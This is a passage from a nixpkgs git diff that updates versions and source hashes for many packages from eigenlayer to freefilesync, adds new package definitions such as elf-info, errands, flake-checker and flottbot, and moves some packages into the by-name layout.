"eigenlayer"; - version = "0.6.1"; + version = "0.6.2"; src = fetchFromGitHub { owner = "Layr-Labs"; repo = "eigenlayer-cli"; rev = "v${version}"; - hash = "sha256-PN1VB01NyBrDNIDpUIQlzhdwKoy17X1GdfQfRrN3bWo="; + hash = "sha256-cr3ltNmJj8GoQLADivekLU2hV7xWk4KR2Gej0rcaVTA="; }; vendorHash = "sha256-VcXjYiJ9nwSCQJvQd7UYduZKJISRfoEXjziiX6Z3w6Q="; diff --git a/pkgs/by-name/ei/eiwd/package.nix b/pkgs/by-name/ei/eiwd/package.nix index 8aa11c83e34b5..0e1e5d6d58d87 100644 --- a/pkgs/by-name/ei/eiwd/package.nix +++ b/pkgs/by-name/ei/eiwd/package.nix @@ -11,13 +11,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "eiwd"; - version = "2.10-1"; + version = "2.14-1"; src = fetchFromGitHub { owner = "illiliti"; repo = "eiwd"; rev = finalAttrs.version; - hash = "sha256-AB4NBwfELy0yjzxS0rCcF641CGEdyM9tTB+ZWaM+erg="; + hash = "sha256-9d7XDA98qMA6Myeik2Tpj0x6yd5VQozt+FHl0U3da50="; fetchSubmodules = true; }; diff --git a/pkgs/by-name/ek/eksctl/package.nix b/pkgs/by-name/ek/eksctl/package.nix index e4b00212265b9..5d01ac9994069 100644 --- a/pkgs/by-name/ek/eksctl/package.nix +++ b/pkgs/by-name/ek/eksctl/package.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "eksctl"; - version = "0.171.0"; + version = "0.173.0"; src = fetchFromGitHub { owner = "weaveworks"; repo = pname; rev = version; - hash = "sha256-+kM/RKC/HxGRH3qOzlhkzaxj1l60D+6aNGIkrDuTk7A="; + hash = "sha256-PVBt+AoYd8fMYHzBpgQ261TGlkmyooN7UKX9ooXaRYA="; }; - vendorHash = "sha256-cuLzn0OZ5VC+RWGsJ8DCdJN8wm0DrsjH55K/cnyuqB8="; + vendorHash = "sha256-5bHZt+Oze7JiaY0dKjoMNDdU6wzMphgZ3W3NveRKGy0="; doCheck = false; diff --git a/pkgs/by-name/el/elf-info/package.nix b/pkgs/by-name/el/elf-info/package.nix new file mode 100644 index 0000000000000..ac633286606cf --- /dev/null +++ b/pkgs/by-name/el/elf-info/package.nix @@ -0,0 +1,29 @@ +{ lib +, rustPlatform +, fetchFromGitHub +, nix-update-script +}: + +rustPlatform.buildRustPackage rec { + pname = "elf-info"; + version = "0.3.0"; + + src = fetchFromGitHub { + owner = "kevin-lesenechal"; + repo = "elf-info"; + rev = "v${version}"; + hash = "sha256-wbFVuoarOoxV9FqmuHJ9eZlG4rRqy1rsnuqbGorC2Rk="; + }; + + cargoHash = "sha256-r4GcJhQn9x5c2hbL+813mS3HbIg8OwNDsMg/fHQoL9Y="; + + passthru.updateScript = nix-update-script { }; + + meta = { + description = "Inspect and dissect an ELF file with pretty formatting"; + homepage = "https://github.com/kevin-lesenechal/elf-info"; + license = lib.licenses.gpl3Only; + maintainers = with lib.maintainers; [ viperML ]; + mainProgram = "elf"; + }; +} diff --git a/pkgs/by-name/el/elvish/package.nix b/pkgs/by-name/el/elvish/package.nix index 408923b50cb0b..bd3e746377a3e 100644 --- a/pkgs/by-name/el/elvish/package.nix +++ b/pkgs/by-name/el/elvish/package.nix @@ -6,7 +6,7 @@ let pname = "elvish"; - version = "0.20.0"; + version = "0.20.1"; in buildGoModule { inherit pname version; @@ -15,7 +15,7 @@ buildGoModule { owner = "elves"; repo = "elvish"; rev = "v${version}"; - hash = "sha256-aaj2P1V31FnRehrUh+aqpPa8QwRrUezKwAa8WBa4X0w="; + hash = "sha256-lKrX38gVUhYwwuNF25LcZ+TytP4vx/GO7ay6Au4BBZA="; }; vendorHash = "sha256-sgVGqpncV7Ylok5FRcV01a3MCX6UdZvTt3nfVh5L2so="; diff --git a/pkgs/by-name/em/emacsclient-commands/package.nix b/pkgs/by-name/em/emacsclient-commands/package.nix new file mode 100644 index 0000000000000..8bc939fc32eb8 --- /dev/null +++ b/pkgs/by-name/em/emacsclient-commands/package.nix @@ -0,0 +1,34 @@ +{ lib +, fetchFromGitHub +, buildGoModule +, gnumake +}: + +buildGoModule { + pname = "emacsclient-commands"; + version = "unstable-2023-09-22"; + + src = fetchFromGitHub { + owner = "szermatt"; + repo = "emacsclient-commands"; + rev = "8f5c8a877794ed51f8225036e36fd5ce272b17f3"; + hash = "sha256-OlcB5VqWYdl0wz1y8nmG6Xgdf5IPOUQ31UG1TDxQAis="; + }; + + vendorHash = "sha256-8oREed2Igz5UvUTDdOFwW5wQQy3H8Xj8epxo6gqnZFA="; + + buildInputs = [ gnumake ]; + + buildPhase = '' + runHook preBuild + DESTDIR=$out/ make install + runHook postBuild + ''; + + meta = with lib; { + description = "A collection of small shell utilities that connect to a local Emacs server"; + homepage = "https://github.com/szermatt/emacsclient-commands"; + license = licenses.gpl2Only; + maintainers = with maintainers; [ binarycat ]; + }; +} diff --git a/pkgs/applications/editors/emacs/elisp-packages/manual-packages/emacspeak/default.nix b/pkgs/by-name/em/emacspeak/package.nix index 5294623584da0..6c18af7807ea9 100644 --- a/pkgs/applications/editors/emacs/elisp-packages/manual-packages/emacspeak/default.nix +++ b/pkgs/by-name/em/emacspeak/package.nix @@ -1,34 +1,37 @@ { lib -, stdenv +, emacs +, espeak-ng , fetchFromGitHub , makeWrapper -, emacs +, stdenv , tcl , tclx -, espeak-ng }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "emacspeak"; - version = "58.0"; + version = "59.0"; src = fetchFromGitHub { owner = "tvraman"; - repo = pname; - rev = version; - hash= "sha256-5pWC17nvy3ZuG0bR//LqDVpKsH5hFSFf63Q33a1BfBk="; + repo = "emacspeak"; + rev = finalAttrs.version; + hash = "sha256-npS/wlqI7nBde/2S/rzp79jdfYXIIhgsVs5VizxEDAQ="; }; nativeBuildInputs = [ emacs makeWrapper ]; + buildInputs = [ espeak-ng tcl tclx ]; + strictDeps = true; + preConfigure = '' make config ''; @@ -44,17 +47,21 @@ stdenv.mkDerivation rec { cp -a . "$d" find "$d" \( -type d -or \( -type f -executable \) \) -execdir chmod 755 {} + find "$d" -type f -not -executable -execdir chmod 644 {} + - makeWrapper ${emacs}/bin/emacs $out/bin/emacspeak \ + makeWrapper ${lib.getExe emacs} $out/bin/emacspeak \ --set DTK_PROGRAM "${placeholder "out"}/share/emacs/site-lisp/emacspeak/servers/espeak" \ --set TCLLIBPATH "${tclx}/lib" \ --add-flags '-l "${placeholder "out"}/share/emacs/site-lisp/emacspeak/lisp/emacspeak-setup.elc"' ''; - meta = with lib; { + meta = { homepage = "https://github.com/tvraman/emacspeak/"; description = "Emacs extension that provides spoken output"; - license = licenses.gpl2Plus; - maintainers = [ maintainers.AndersonTorres ]; - platforms = platforms.linux; + changelog = "https://github.com/tvraman/emacspeak/blob/${finalAttrs.src.rev}/etc/NEWS"; + license = with lib.licenses; [ gpl2Plus ]; + mainProgram = "emacspeak"; + maintainers = with lib.maintainers; [ AndersonTorres ]; + platforms = lib.platforms.linux; + # Emacspeak requires a minimal Emacs version; let's use the broken flag + broken = lib.versionOlder (lib.getVersion emacs) "29.1"; }; -} +}) diff --git a/pkgs/by-name/en/envio/package.nix b/pkgs/by-name/en/envio/package.nix index eebe13711e71c..51b656eccbbb4 100644 --- a/pkgs/by-name/en/envio/package.nix +++ b/pkgs/by-name/en/envio/package.nix @@ -13,16 +13,16 @@ let in rustPlatform.buildRustPackage rec { pname = "envio"; - version = "0.5.0"; + version = "0.5.1"; src = fetchFromGitHub { owner = "envio-cli"; repo = "envio"; rev = "v${version}"; - hash = "sha256-HVu2Ua1iu7Z14RUbdDQ4ElOGnfYjZCekFvAolu2lM7w="; + hash = "sha256-KhjHd+1IeKdASeYP2rPtyTmtkPcBbaruylmOwTPtFgo="; }; - cargoHash = "sha256-AVbAHaLARMKGf5ZIygyWWSkg4U1Xkfjwm9XPNZNtUsE="; + cargoHash = "sha256-qmJUARwsGln07RAX1Ab0cNDgJq7NkezuT0tZsyd48Mw="; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/by-name/er/eris-go/package.nix b/pkgs/by-name/er/eris-go/package.nix index 50a37c008ffd5..5823756e301dc 100644 --- a/pkgs/by-name/er/eris-go/package.nix +++ b/pkgs/by-name/er/eris-go/package.nix @@ -2,7 +2,7 @@ buildGoModule rec { pname = "eris-go"; - version = "20231219"; + version = "20240128"; outputs = [ "out" "man" ]; src = fetchFromGitea { @@ -10,7 +10,7 @@ buildGoModule rec { owner = "eris"; repo = "eris-go"; rev = version; - hash = "sha256-eXLfBkJgG51ZjR1qXRE2BgTrIpQsPW5SKeMlGd3J1NE="; + hash = "sha256-mS5PMrp6rBR8ehlpDAZaTQL8vhFSpcztMaQF5zjozxc="; }; vendorHash = "sha256-pA/fz7JpDwdTRFfLDY0M6p9TeBOK68byhy/0Cw53p4M="; @@ -23,10 +23,10 @@ buildGoModule rec { ''; postBuild = "tupBuild"; postInstall = '' - install -D *.1.man -t $man/share/man/man1 + install -D *.1.gz -t $man/share/man/man1 ''; - skipNetworkTests = true; + env.skipNetworkTests = true; passthru.tests = { inherit (nixosTests) eris-server; }; diff --git a/pkgs/by-name/er/errands/package.nix b/pkgs/by-name/er/errands/package.nix new file mode 100644 index 0000000000000..36a988472a912 --- /dev/null +++ b/pkgs/by-name/er/errands/package.nix @@ -0,0 +1,67 @@ +{ lib +, fetchFromGitHub +, python3Packages +, gobject-introspection +, libadwaita +, wrapGAppsHook +, meson +, ninja +, desktop-file-utils +, pkg-config +, appstream +, libsecret +, gtk4 +, gtksourceview5 +}: + +python3Packages.buildPythonApplication rec { + pname = "errands"; + version = "45.1.9"; + + pyproject = false; + + src = fetchFromGitHub { + owner = "mrvladus"; + repo = "Errands"; + rev = "refs/tags/${version}"; + hash = "sha256-q8vmT7XUx3XJjPfbEd/c3HrTENfopl1MqwT0x5OuG0c="; + }; + + nativeBuildInputs = [ + gobject-introspection + wrapGAppsHook + desktop-file-utils + meson + ninja + pkg-config + appstream + gtk4 + ]; + + buildInputs = [ + libadwaita + libsecret + gtksourceview5 + ]; + + propagatedBuildInputs = with python3Packages; [ + pygobject3 + lxml + caldav + pycryptodomex + ]; + + dontWrapGApps = true; + + preFixup = '' + makeWrapperArgs+=("''${gappsWrapperArgs[@]}") + ''; + + meta = with lib; { + description = "Manage your tasks"; + homepage = "https://github.com/mrvladus/Errands"; + license = licenses.mit; + mainProgram = "errands"; + maintainers = with maintainers; [ sund3RRR ]; + }; +} diff --git a/pkgs/by-name/es/espflash/package.nix b/pkgs/by-name/es/espflash/package.nix index c56f347b4709c..47ebfba8bd54b 100644 --- a/pkgs/by-name/es/espflash/package.nix +++ b/pkgs/by-name/es/espflash/package.nix @@ -3,6 +3,7 @@ , rustPlatform , fetchFromGitHub , pkg-config +, installShellFiles , udev , stdenv , Security @@ -24,6 +25,7 @@ rustPlatform.buildRustPackage rec { nativeBuildInputs = [ pkg-config + installShellFiles ]; # Needed to get openssl-sys to use pkg-config. @@ -38,6 +40,13 @@ rustPlatform.buildRustPackage rec { cargoHash = "sha256-Xj5FVTssC3e+mMhDHmKqV6lUQgaIv3aVc1yewbQSy9E="; + postInstall = lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) '' + installShellCompletion --cmd espflash \ + --bash <($out/bin/espflash completions bash) \ + --zsh <($out/bin/espflash completions zsh) \ + --fish <($out/bin/espflash completions fish) + ''; + passthru.updateScript = nix-update-script { }; meta = with lib; { diff --git a/pkgs/by-name/ex/extest/package.nix b/pkgs/by-name/ex/extest/package.nix new file mode 100644 index 0000000000000..a0df42265da58 --- /dev/null +++ b/pkgs/by-name/ex/extest/package.nix @@ -0,0 +1,26 @@ +{ lib +, fetchFromGitHub +, rustPlatform +}: + +rustPlatform.buildRustPackage rec { + pname = "extest"; + version = "1.0.2"; + + src = fetchFromGitHub { + owner = "Supreeeme"; + repo = "extest"; + rev = version; + hash = "sha256-qdTF4n3uhkl3WFT+7bAlwCjxBx3ggTN6i3WzFg+8Jrw="; + }; + + cargoHash = "sha256-JZPiTzr9KaaqiXKhsGOYmYMtjNzPQzKhqyfSlbeqME8="; + + meta = with lib; { + description = "X11 XTEST reimplementation primarily for Steam Controller on Wayland"; + homepage = "https://github.com/Supreeeme/extest"; + platforms = platforms.linux; + license = licenses.mit; + maintainers = [ maintainers.puffnfresh ]; + }; +} diff --git a/pkgs/by-name/ez/eza/package.nix b/pkgs/by-name/ez/eza/package.nix index 02eb0c397905b..5e0423a4ac9b7 100644 --- a/pkgs/by-name/ez/eza/package.nix +++ b/pkgs/by-name/ez/eza/package.nix @@ -17,16 +17,16 @@ rustPlatform.buildRustPackage rec { pname = "eza"; - version = "0.18.2"; + version = "0.18.6"; src = fetchFromGitHub { owner = "eza-community"; repo = "eza"; rev = "v${version}"; - hash = "sha256-gVpgI/I91ounqSrEIM7BWJKR4NyRuEU2iK+g8T9L6YY="; + hash = "sha256-xdMoOGOHbGNRouVbJewQ1bWJbd7nusq3H7mXDC4AIXU="; }; - cargoHash = "sha256-q2xVSB3lpsur8P8KF7jDVrEj24q6FRVJbh7bL4teOqQ="; + cargoHash = "sha256-IM1dxTaFa5kq94pn6QQrUGg6fZWhBZsf4ZND42BPVag="; nativeBuildInputs = [ cmake pkg-config installShellFiles pandoc ]; buildInputs = [ zlib ] diff --git a/pkgs/by-name/fa/fanbox-dl/package.nix b/pkgs/by-name/fa/fanbox-dl/package.nix index 7d3a5fb3a8b3e..753c31b0e5c79 100644 --- a/pkgs/by-name/fa/fanbox-dl/package.nix +++ b/pkgs/by-name/fa/fanbox-dl/package.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "fanbox-dl"; - version = "0.18.2"; + version = "0.19.2"; src = fetchFromGitHub { owner = "hareku"; repo = "fanbox-dl"; rev = "v${version}"; - hash = "sha256-hHjkV/wv+UMO4pyWDyMio3XbiyM6M02eLcT2rauvh/A="; + hash = "sha256-puFFby6+e5FDWduETtI5Iflq9E65vJkg2gRdcUxpRKk="; }; vendorHash = "sha256-o1DFHwSpHtbuU8BFcrk18hPRJJkeoPkYnybIz22Blfk="; diff --git a/pkgs/by-name/fa/fangfrisch/package.nix b/pkgs/by-name/fa/fangfrisch/package.nix index 139e22fe8e9af..500794ff4c164 100644 --- a/pkgs/by-name/fa/fangfrisch/package.nix +++ b/pkgs/by-name/fa/fangfrisch/package.nix @@ -3,7 +3,7 @@ , fetchFromGitHub }: let - version = "1.7.0"; + version = "1.8.1"; in python3.pkgs.buildPythonApplication { pname = "fangfrisch"; @@ -14,7 +14,7 @@ python3.pkgs.buildPythonApplication { owner = "rseichter"; repo = "fangfrisch"; rev = "refs/tags/${version}"; - hash = "sha256-s55W5/ppwr008ZIjDgQa90N+Ax9cwnvc+mXRetFdy+4="; + hash = "sha256-j5IUAMDXndLttQZQV3SZXdDka8bKDcwbotY2Nop3izc="; }; nativeBuildInputs = [ diff --git a/pkgs/by-name/fa/fantomas/package.nix b/pkgs/by-name/fa/fantomas/package.nix index 8461ab3c29cf2..b0e3677a92305 100644 --- a/pkgs/by-name/fa/fantomas/package.nix +++ b/pkgs/by-name/fa/fantomas/package.nix @@ -10,7 +10,7 @@ buildDotnetGlobalTool { description = "F# source code formatter"; homepage = "https://github.com/fsprojects/fantomas"; license = licenses.asl20; - platforms = platforms.linux; + platforms = platforms.linux ++ platforms.darwin; maintainers = with maintainers; [ mikaelfangel ]; mainProgram = "fantomas"; }; diff --git a/pkgs/development/libraries/fastcdr/0001-Do-not-require-wget-and-unzip.patch b/pkgs/by-name/fa/fastcdr/0001-Do-not-require-wget-and-unzip.patch index 8908beb082408..8908beb082408 100644 --- a/pkgs/development/libraries/fastcdr/0001-Do-not-require-wget-and-unzip.patch +++ b/pkgs/by-name/fa/fastcdr/0001-Do-not-require-wget-and-unzip.patch diff --git a/pkgs/development/libraries/fastcdr/default.nix b/pkgs/by-name/fa/fastcdr/package.nix index a5f87ec7b3120..ef9042b0982ee 100644 --- a/pkgs/development/libraries/fastcdr/default.nix +++ b/pkgs/by-name/fa/fastcdr/package.nix @@ -10,27 +10,19 @@ stdenv.mkDerivation (finalAttrs: { pname = "fastcdr"; - version = "2.1.3"; + version = "2.2.0"; src = fetchFromGitHub { owner = "eProsima"; repo = "Fast-CDR"; rev = "v${finalAttrs.version}"; - hash = "sha256-eSf6LNTVsGEBXjTmTBjjWKBqs68pbnVcw1p2bi1Asgg="; + hash = "sha256-hhYNgBLJCTZV/fgHEH7rxlTy+qpShAykxHLbPtPA/Uw="; }; patches = [ ./0001-Do-not-require-wget-and-unzip.patch ]; - # Fix doc generation error with doxygen >= 1.10.0 - # see https://github.com/eProsima/Fast-CDR/issues/193 - postPatch = '' - substituteInPlace ./doxyfile.in --replace \ - "WARN_AS_ERROR = YES" \ - "WARN_AS_ERROR = NO" - ''; - cmakeFlags = lib.optional (stdenv.hostPlatform.isStatic) "-DBUILD_SHARED_LIBS=OFF" # upstream turns BUILD_TESTING=OFF by default and doesn't honor cmake's default (=ON) ++ lib.optional (finalAttrs.finalPackage.doCheck) "-DBUILD_TESTING=ON" diff --git a/pkgs/by-name/fc/fcitx5-rose-pine/package.nix b/pkgs/by-name/fc/fcitx5-rose-pine/package.nix new file mode 100644 index 0000000000000..b1f11a1784a98 --- /dev/null +++ b/pkgs/by-name/fc/fcitx5-rose-pine/package.nix @@ -0,0 +1,34 @@ +{ stdenvNoCC +, fetchFromGitHub +, lib +}: + +stdenvNoCC.mkDerivation { + pname = "fcitx5-rose-pine"; + version = "0-unstable-2024-03-01"; + + src = fetchFromGitHub { + owner = "rose-pine"; + repo = "fcitx5"; + rev = "148de09929c2e2f948376bb23bc25d72006403bc"; + hash = "sha256-SpQ5ylHSDF5KCwKttAlXgrte3GA1cCCy/0OKNT1a3D8="; + }; + + installPhase = '' + runHook preInstall + + mkdir -pv $out/share/fcitx5/themes/ + cp -rv rose-pine* $out/share/fcitx5/themes/ + + runHook postInstall + ''; + + + meta = { + description = "Fcitx5 themes based on Rosé Pine"; + homepage = "https://github.com/rose-pine/fcitx5"; + maintainers = with lib.maintainers; [ rosehobgoblin ]; + platforms = lib.platforms.all; + license = lib.licenses.unfree; + }; +} diff --git a/pkgs/by-name/fe/feather/package.nix b/pkgs/by-name/fe/feather/package.nix index adb6e2ffe35fe..67b0770d65c73 100644 --- a/pkgs/by-name/fe/feather/package.nix +++ b/pkgs/by-name/fe/feather/package.nix @@ -21,13 +21,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "feather"; - version = "2.6.2"; + version = "2.6.3"; src = fetchFromGitHub { owner = "feather-wallet"; repo = "feather"; rev = finalAttrs.version; - hash = "sha256-23rG+12pAw33rm+jDu9pp8TsumNYh+UbnbeEKs4yB+M="; + hash = "sha256-pQnaJbKznK1i8wn7t8ZnxLVu1LV/D47krxZZ0j6Mw6g="; fetchSubmodules = true; }; diff --git a/pkgs/by-name/ff/ffsubsync/package.nix b/pkgs/by-name/ff/ffsubsync/package.nix index 8165e30c504d1..759de944a6e3d 100644 --- a/pkgs/by-name/ff/ffsubsync/package.nix +++ b/pkgs/by-name/ff/ffsubsync/package.nix @@ -1,21 +1,25 @@ { lib -, python3Packages , fetchFromGitHub +, python3 }: -python3Packages.buildPythonApplication rec { +python3.pkgs.buildPythonApplication rec { pname = "ffsubsync"; version = "0.4.25"; - format = "pyproject"; + pyproject = true; src = fetchFromGitHub { owner = "smacke"; repo = "ffsubsync"; - rev = version; + rev = "refs/tags/${version}"; hash = "sha256-ZdKZeKfAUe/FXLOur9Btb5RgXewmy3EHunQphqlxpIc="; }; - propagatedBuildInputs = with python3Packages; [ + nativeBuildInputs = with python3.pkgs; [ + setuptools + ]; + + propagatedBuildInputs = with python3.pkgs; [ auditok charset-normalizer faust-cchardet @@ -32,9 +36,13 @@ python3Packages.buildPythonApplication rec { webrtcvad ]; - nativeCheckInputs = with python3Packages; [ pytestCheckHook ]; + nativeCheckInputs = with python3.pkgs; [ + pytestCheckHook + ]; - pythonImportsCheck = [ "ffsubsync" ]; + pythonImportsCheck = [ + "ffsubsync" + ]; meta = with lib; { homepage = "https://github.com/smacke/ffsubsync"; diff --git a/pkgs/by-name/fi/figurine/package.nix b/pkgs/by-name/fi/figurine/package.nix new file mode 100644 index 0000000000000..ec6470de63d68 --- /dev/null +++ b/pkgs/by-name/fi/figurine/package.nix @@ -0,0 +1,32 @@ +{ lib +, fetchFromGitHub +, buildGoModule +}: + +buildGoModule rec { + pname = "figurine"; + version = "1.3.0"; + + src = fetchFromGitHub { + owner = "arsham"; + repo = "figurine"; + rev = "v${version}"; + hash = "sha256-1q6Y7oEntd823nWosMcKXi6c3iWsBTxPnSH4tR6+XYs="; + }; + + vendorHash = "sha256-mLdAaYkQH2RHcZft27rDW1AoFCWKiUZhh2F0DpqZELw="; + + ldflags = [ + "-s" + "-w" + "-X main.version=${version}" + "-X main.currentSha=${src.rev}" + ]; + + meta = with lib; { + homepage = "https://github.com/arsham/figurine"; + description = "Print your name in style"; + license = licenses.asl20; + maintainers = with maintainers; [ ironicbadger ]; + }; +} diff --git a/pkgs/by-name/fi/files-cli/package.nix b/pkgs/by-name/fi/files-cli/package.nix index bd6fb6d13c6c1..67919148083f0 100644 --- a/pkgs/by-name/fi/files-cli/package.nix +++ b/pkgs/by-name/fi/files-cli/package.nix @@ -7,16 +7,16 @@ buildGoModule rec { pname = "files-cli"; - version = "2.12.31"; + version = "2.12.40"; src = fetchFromGitHub { repo = "files-cli"; owner = "files-com"; rev = "v${version}"; - hash = "sha256-PWKN3AOtiA/XYJiXVpslmEUIuAa6KVrz/NuJg6cYEYU="; + hash = "sha256-dtHmBpszacoKHOg5PXrIQ2oPPCk1zzhvxAWULzxm3C4="; }; - vendorHash = "sha256-KNS/D3h374h3Td3adce4u/JQaR1JfA0TWQaOql+ojRg="; + vendorHash = "sha256-yaDc2o0vzgb0KDn3dGiXxPjEXyPNcCCQ+bEu/X1Cs3Q="; ldflags = [ "-s" diff --git a/pkgs/by-name/fl/flake-checker/package.nix b/pkgs/by-name/fl/flake-checker/package.nix new file mode 100644 index 0000000000000..de64552764b7a --- /dev/null +++ b/pkgs/by-name/fl/flake-checker/package.nix @@ -0,0 +1,34 @@ +{ lib +, rustPlatform +, fetchFromGitHub +, stdenv +, darwin +}: + +rustPlatform.buildRustPackage rec { + pname = "flake-checker"; + version = "0.1.17"; + + src = fetchFromGitHub { + owner = "DeterminateSystems"; + repo = "flake-checker"; + rev = "v${version}"; + hash = "sha256-DSqyM+TY+nNi84hfzXx7F4hpwjX3/SL5mA2pKlY/454="; + }; + + cargoHash = "sha256-dN1wSLNU+5CR6pngMpIsrKY+4rwkNy7UAcROTBv2GB0="; + + buildInputs = lib.optionals stdenv.isDarwin (with darwin.apple_sdk.frameworks; [ + Security + SystemConfiguration + ]); + + meta = with lib; { + description = "Health checks for your Nix flakes"; + homepage = "https://github.com/${src.owner}/${src.repo}"; + changelog = "https://github.com/${src.owner}/${src.repo}/releases/tag/${src.rev}"; + license = licenses.asl20; + maintainers = with maintainers; [ lucperkins ]; + mainProgram = "flake-checker"; + }; +} diff --git a/pkgs/by-name/fl/flarectl/package.nix b/pkgs/by-name/fl/flarectl/package.nix index e73f0741b0fe7..aedf035843720 100644 --- a/pkgs/by-name/fl/flarectl/package.nix +++ b/pkgs/by-name/fl/flarectl/package.nix @@ -5,13 +5,13 @@ buildGoModule rec { pname = "flarectl"; - version = "0.88.0"; + version = "0.89.0"; src = fetchFromGitHub { owner = "cloudflare"; repo = "cloudflare-go"; rev = "v${version}"; - hash = "sha256-nFTE6RCVpfF/CPcwKM0wK15/1KMXAuvSdmtrt+Xrp8E="; + hash = "sha256-BXG9pKkgSSlBNiWiDOWL6D/DSC2iVzVCktL4xyi6/Ao="; }; vendorHash = "sha256-AxBvmDB3mfgkv7U+BzR0Khdgx1hrDI61CSxr45pRZqg="; diff --git a/pkgs/tools/misc/flashrom-stable/default.nix b/pkgs/by-name/fl/flashprog/package.nix index 81beb2346e348..7cf95b62e5c2e 100644 --- a/pkgs/tools/misc/flashrom-stable/default.nix +++ b/pkgs/by-name/fl/flashprog/package.nix @@ -11,13 +11,13 @@ }: stdenv.mkDerivation rec { - pname = "flashrom-stable"; - version = "1.1"; + pname = "flashprog"; + version = "1.0.1"; src = fetchgit { - url = "https://review.coreboot.org/flashrom-stable"; - rev = "272aae888ce5abf5e999d750ee4577407db32246"; - hash = "sha256-DR4PAING69+TMsyycGxt1cu0ba1tTlG36+H/pJ0oP4E="; + url = "https://review.sourcearcade.org/flashprog"; + rev = "2ca11f9a4101ea230081d448ab2b570425b7f0bd"; + hash = "sha256-pm9g9iOJAKnzzY9couzt8RmqZFbIpKcO++zsUJ9o49U="; }; nativeBuildInputs = [ @@ -34,15 +34,16 @@ stdenv.mkDerivation rec { pciutils ]; - makeFlags = [ "PREFIX=$(out)" "libinstall" ] ++ lib.optionals stdenv.isDarwin [ "CONFIG_ENABLE_LIBPCI_PROGRAMMERS=no" ] + makeFlags = [ "PREFIX=$(out)" "libinstall" ] + ++ lib.optionals stdenv.isDarwin [ "CONFIG_ENABLE_LIBPCI_PROGRAMMERS=no" ] ++ lib.optionals (stdenv.isDarwin && stdenv.isx86_64) [ "CONFIG_INTERNAL_X86=no" "CONFIG_INTERNAL_DMI=no" "CONFIG_RAYER_SPI=0" ]; meta = with lib; { - homepage = "https://www.flashrom.org"; + homepage = "https://flashprog.org"; description = "Utility for reading, writing, erasing and verifying flash ROM chips"; license = with licenses; [ gpl2 gpl2Plus ]; maintainers = with maintainers; [ felixsinger ]; platforms = platforms.all; - mainProgram = "flashrom"; + mainProgram = "flashprog"; }; } diff --git a/pkgs/by-name/fl/flottbot/package.nix b/pkgs/by-name/fl/flottbot/package.nix new file mode 100644 index 0000000000000..ba0321fbdd5b1 --- /dev/null +++ b/pkgs/by-name/fl/flottbot/package.nix @@ -0,0 +1,44 @@ +{ lib +, buildGoModule +, fetchFromGitHub +, nix-update-script +, substituteAll +}: +buildGoModule rec { + pname = "flottbot"; + version = "0.13.1"; + + src = fetchFromGitHub { + owner = "target"; + repo = "flottbot"; + rev = version; + hash = "sha256-Fv4ZBCQA7gwt11ULIiyFwn+QgoMNgu+1TM9yy2Jz7og="; + }; + + patches = [ + # patch out debug.ReadBuidlInfo since version information is not available with buildGoModule + (substituteAll { + src = ./version.patch; + version = version; + vcsHash = version; # Maybe there is a way to get the git ref from src? idk. + }) + ]; + + vendorHash = "sha256-wOUQKFd2Xm/2rvLw8kw8Ejbcq/JUvup/BzZs0fllBYY="; + + subPackages = [ "cmd/flottbot" ]; + + passthru = { + updateScript = nix-update-script { }; + }; + + meta = with lib; { + description = "A chatbot framework written in Go"; + homepage = "https://github.com/target/flottbot"; + license = licenses.asl20; + maintainers = with maintainers; [ bryanhonof ]; + sourceProvenance = [ sourceTypes.fromSource ]; + mainProgram = "flottbot"; + platforms = platforms.unix; + }; +} diff --git a/pkgs/by-name/fl/flottbot/version.patch b/pkgs/by-name/fl/flottbot/version.patch new file mode 100644 index 0000000000000..eaec6eec5fdbc --- /dev/null +++ b/pkgs/by-name/fl/flottbot/version.patch @@ -0,0 +1,37 @@ +diff --git a/version/version.go b/version/version.go +index 9ca8aba..d9bd968 100644 +--- a/version/version.go ++++ b/version/version.go +@@ -4,9 +4,6 @@ package version + + import ( + "fmt" +- "runtime/debug" +- +- "github.com/Masterminds/semver/v3" + ) + + // Version supplies the semantic version. +@@ -14,20 +11,8 @@ var Version string + + // String prints the build information for the bot. + func String() string { +- hash := "unknown" +- +- _, err := semver.NewVersion(Version) +- if err != nil { +- Version = "dev" +- } +- +- if info, ok := debug.ReadBuildInfo(); ok { +- for _, s := range info.Settings { +- if s.Key == "vcs.revision" { +- hash = s.Value +- } +- } +- } ++ Version = "@version@" ++ hash := "@vcsHash@" + + return fmt.Sprintf("Version : %s\nGit Hash: %s\n", Version, hash) + } diff --git a/pkgs/by-name/fm/fm-go/package.nix b/pkgs/by-name/fm/fm-go/package.nix new file mode 100644 index 0000000000000..204250e7c9076 --- /dev/null +++ b/pkgs/by-name/fm/fm-go/package.nix @@ -0,0 +1,31 @@ +{ lib +, buildGoModule +, fetchFromGitHub +, stdenv +}: + +let + finalAttrs = { + pname = "fm"; + version = "0.16.0"; + + src = fetchFromGitHub { + owner = "mistakenelf"; + repo = "fm"; + rev = "v${finalAttrs.version}"; + hash = "sha256-wiACaszbkO9jBYmIfeQpcx984RY41Emyu911nkJxUFY="; + }; + + vendorHash = "sha256-AfRGoKiVZGVIbsDj5pV1zCkp2FpcfWKS0t+cTU51RRc="; + + meta = { + homepage = "https://github.com/mistakenelf/fm"; + description = "A terminal based file manager"; + changelog = "https://github.com/mistakenelf/fm/releases/tag/${finalAttrs.src.rev}"; + license = with lib.licenses; [ mit ]; + mainProgram = "fm"; + maintainers = with lib.maintainers; [ AndersonTorres ]; + }; + }; +in +buildGoModule finalAttrs diff --git a/pkgs/by-name/fr/freefilesync/curl-8.6.0.patch b/pkgs/by-name/fr/freefilesync/curl-8.6.0.patch deleted file mode 100644 index 60004b3f1ba68..0000000000000 --- a/pkgs/by-name/fr/freefilesync/curl-8.6.0.patch +++ /dev/null @@ -1,16 +0,0 @@ -diff --git a/libcurl/curl_wrap.cpp b/libcurl/curl_wrap.cpp -index 11ac9dd..93edd44 100644 ---- a/libcurl/curl_wrap.cpp -+++ b/libcurl/curl_wrap.cpp -@@ -401,9 +401,10 @@ std::wstring zen::formatCurlStatusCode(CURLcode sc) - ZEN_CHECK_CASE_FOR_CONSTANT(CURLE_PROXY); - ZEN_CHECK_CASE_FOR_CONSTANT(CURLE_SSL_CLIENTCERT); - 